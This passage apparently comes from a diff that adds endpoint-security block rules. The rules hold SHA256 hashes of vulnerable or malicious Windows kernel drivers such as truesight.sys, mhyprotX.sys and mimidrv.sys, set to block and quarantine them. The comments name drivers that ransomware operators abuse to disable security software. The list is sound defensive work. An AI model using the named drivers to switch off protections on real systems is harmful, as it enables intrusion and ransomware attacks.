+  "value": "0b15b5cc64caf0c6ad9bd759eb35383b1f718edf3d7ab4cd912d0d8c1826edf8",
+  "comment": "RobbinHood ransomware malicious driver (aka rbnl.sys) [https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ea2d991-9422-57c8-9d34-fe22c8ce425f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830089Z",
+  "creation_date": "2026-03-23T11:45:31.830091Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830096Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e824ccb01e6df3cee8077e15440de5b00fe40ffea71b6ead64cef1512d3a08a6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ea40022-e9c4-58ba-948e-f98c8bd6db23",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828419Z",
+  "creation_date": "2026-03-23T11:45:30.828421Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828426Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4144020a979834bc64cb19a0e82daa99462ccb3629b7a6f7cc9cd2beaf5909eb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4eaa679c-df42-5f20-af10-74d8b9824439",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480488Z",
+  "creation_date": "2026-03-23T11:45:30.480490Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5d8a10b966e30ee6a696ecc6809936411be7ff672593998693c6b1a58baf0e42",
+  "comment": "Vulnerable Kernel Driver (aka GtcKmdfBs.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4eae0368-de5d-5c3c-91ab-7593b964862b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973415Z",
+  "creation_date": "2026-03-23T11:45:29.973417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973423Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c731c0ea7f28671ab7787800db69739ea5cd6be16ea21045b4580cf95cbf73b",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4eb460e8-ecfb-59cb-89e0-eb144d1327dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612001Z",
+  "creation_date": "2026-03-23T11:45:29.612003Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612008Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "24e70c87d58fa5771f02b9ddf0d8870cba6b26e35c6455a2c77f482e2080d3e9",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4eba68d7-ecce-58d5-bddf-d0358daea3e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820643Z",
+  "creation_date": "2026-03-23T11:45:31.820646Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820655Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1cf8b71409b1a00d032d9a62a90f50e3bc5e5b0d0963357d2cb20d48eb0cc32a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ec44353-da03-55d2-8a5a-2061e4a3a66d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619439Z",
+  "creation_date": "2026-03-23T11:45:29.619441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619446Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8944a3f50f38d92d17b8cfe2e08201a79ea30f38812d18f28036e59789d3f58c",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ec5c141-60d5-5a40-af5d-ba2cc6b3cb61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827344Z",
+  "creation_date": "2026-03-23T11:45:30.827346Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827352Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4e83f7397ed109520ed7651f57202cd7158317829a7b5ffb381e8caed4e42f4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ed39125-ebe7-521f-9b53-879c593e1400",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976029Z",
+  "creation_date": "2026-03-23T11:45:29.976031Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976037Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62bd7f8922d8b4ee00d1aea58a885a2c10cbe4c4e51f567b033454aacf7c6b99",
+  "comment": "SystemInformer driver (aka systeminformer.sys, formerly known as kprocesshacker.sys) [https://github.com/winsiderss/systeminformer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ee58a94-1985-5751-81f2-acc544f27857",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807678Z",
+  "creation_date": "2026-03-23T11:45:31.807680Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807686Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e0c3b29e8e0118622b3f5fcdd104190329e2635660d8ff5870263ddf5d18d4f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ef02bdf-82fa-521a-a0e1-436b4c0e8617",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145430Z",
+  "creation_date": "2026-03-23T11:45:31.145432Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145437Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39858843fe5f4c5b8969c6efc6817ba4e975be34cb8cab113456656e9b75f4d5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4efb9e1b-db17-589d-a053-97d5eee4920d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466214Z",
+  "creation_date": "2026-03-23T11:45:30.466217Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466225Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28f5aa194a384680a08c0467e94a8fc40f8b0f3f2ac5deb42e0f51a80d27b553",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4effe5cc-109f-5e72-89e7-29ed3d359cf4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982467Z",
+  "creation_date": "2026-03-23T11:45:29.982469Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982475Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2e17e6e222316a4c70dc931d5c550466eb5d3e325794731002792e5587dc29d",
+  "comment": "Vulnerable Kernel Driver (aka Lurker.sys) [https://www.loldrivers.io/drivers/3fb743b8-d3ed-4873-9c95-e212720dde21/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f0383de-b72b-50e7-b0a2-224d9fa9a78e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823790Z",
+  "creation_date": "2026-03-23T11:45:30.823792Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823798Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a2b3fb7a9a431d45d9225424448aed87b71f5dc7cf8a2c1591a77c86971becda",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f0c1cfd-8272-5153-9d6d-279f364bbf6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824321Z",
+  "creation_date": "2026-03-23T11:45:31.824325Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824332Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c596759c37c74fa2c6f423c86e3fbc7e69aa6d0ebf6f26b2ccd1c774cafbc06",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f1f256c-5765-5b52-b87f-9846fbfa3cd2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829167Z",
+  "creation_date": "2026-03-23T11:45:30.829169Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54905e43b198a32610a2b935f3dba88d81b41ebcc8e06f4639b92dfbdd0404bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f21976a-c425-531c-b322-010b83072fed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479565Z",
+  "creation_date": "2026-03-23T11:45:30.479567Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479573Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a7bde3c194e84070ff15718e58b6d9a79d5b11fb4f5754ecbae9f6fee1ca40f",
+  "comment": "Malicious Kernel Driver (aka e939448b28a4edc81f1f974cebf6e7d2.sys) [https://www.loldrivers.io/drivers/4f2edf45-b135-404f-bedc-9583f0bae574/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f286794-21a5-5ea3-b11e-d9d1c0929e73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143562Z",
+  "creation_date": "2026-03-23T11:45:31.143564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143570Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c66fd25fb23a21fdf502b1f750bd8d862e937eead46554c3c1d62eff67f549df",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f32b263-13d1-559f-9e6e-341050406195",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144837Z",
+  "creation_date": "2026-03-23T11:45:32.144840Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144845Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "146b8f4fc91a4915e8f6aa6e0d871f7161a809c46760ef602bab534836142436",
+  "comment": "Malicious Kernel Driver (aka driver_146b8f4f.sys) [https://www.loldrivers.io/drivers/cea8bd08-a3c5-4ae1-a568-387b909ada67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f3a832f-bfef-50fd-a3e1-5e0aaee846f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827199Z",
+  "creation_date": "2026-03-23T11:45:30.827201Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827207Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08e4f45807c9d9608d1d3283dad5d02c5714a47a7210e082f2607cd6d2f79bc9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f4638e2-eb01-54a9-ad97-93d112a4f579",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480370Z",
+  "creation_date": "2026-03-23T11:45:30.480372Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480378Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0abca92512fc98fe6c2e7d0a33935686fc3acbd0a4c68b51f4a70ece828c0664",
+  "comment": "Vulnerable Kernel Driver (aka GtcKmdfBs.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f46a8a1-84fd-5f2a-beb1-d251287e51ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467471Z",
+  "creation_date": "2026-03-23T11:45:30.467486Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467495Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e1d02a67ad311f9e48d42813e6d208bda3e7e4da0d212d7b484a8454b41678c",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
